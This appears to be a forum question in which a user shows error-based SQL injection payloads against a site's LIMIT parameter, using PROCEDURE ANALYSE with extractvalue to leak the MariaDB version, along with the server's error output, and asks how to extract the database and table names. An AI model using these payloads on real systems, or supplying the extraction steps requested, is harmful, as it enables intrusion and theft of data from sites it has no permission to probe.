0

I am testing a sql injection to a website. And spending several hours i just become to get the version of the database.

test.com/abc.php?query=1&limit=3 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

Output was:

    <br />
<b>Fatal error</b>:  Wrong SQL: SELECT e.classe, e.idebike,COALESCE(fm.descfamigliameccanica,'----'), e.modello, e.anno_specifiche

        FROM prodotti e

        LEFT JOIN famiglia_meccanica fm on e.idfamigliameccanica=fm.idfamigliameccanica

        LEFT JOIN marchi m on e.idmarchio=m.idmarchio

        LEFT JOIN sex s on e.idsex=s.idsex

        LEFT JOIN tipo_kit k on e.idtipokit=k.idtipokit

        left join tipo_kit_fam kf on kf.idfamiglia=k.idfamiglia

        LEFT JOIN tipo_display d on e.iddisplay=d.iddisplay



        WHERE e.attivoA>0  AND CONCAT_WS(' ',e.modello, e.display,

                fm.descfamigliameccanica, m.marchio, kf.famiglia) LIKE '%1%' order by 2,3 LIMIT 0, 3 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);<br>Error: 1105 XPATH syntax error: ':10.3.10-MariaDB' in <b>/var/www/inc/abc.php</b> on line <b>98</b><br />

When I tried to get the database name through this query

https://test.com//abc.php?query=1&limit=3 procedure analyse(extractvalue(rand(),concat(0x3a,select database())),1);

I am facing error

Output:

<br />
<b>Fatal error</b>:  Wrong SQL: SELECT e.classe, e.idebike,COALESCE(fm.descfamigliameccanica,'----'), e.modello, e.anno_specifiche

        FROM prodotti e

        LEFT JOIN famiglia_meccanica fm on e.idfamigliameccanica=fm.idfamigliameccanica

        LEFT JOIN marchi m on e.idmarchio=m.idmarchio

        LEFT JOIN sex s on e.idsex=s.idsex

        LEFT JOIN tipo_kit k on e.idtipokit=k.idtipokit

        left join tipo_kit_fam kf on kf.idfamiglia=k.idfamiglia

        LEFT JOIN tipo_display d on e.iddisplay=d.iddisplay



        WHERE e.attivoA>0  AND CONCAT_WS(' ',e.modello, e.display,

                fm.descfamigliameccanica, m.marchio, kf.famiglia) LIKE '%1%' order by 2,3 LIMIT 0, 3 procedure analyse(extractvalue(rand(),concat(0x3a,select database())),1);<br>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select database())),1)' at line 11 in <b>/var/www/inc/abc.php</b> on line <b>98</b><br />

AND also tried this

 https://test.com//abc.php?query=1&limit=3 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

Output:

....
Error: 1105 Only constant XPATH queries are supported in 
....

I am trying to extract the database name and tables name from the database through this. Is this still possible ?

Thanks

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.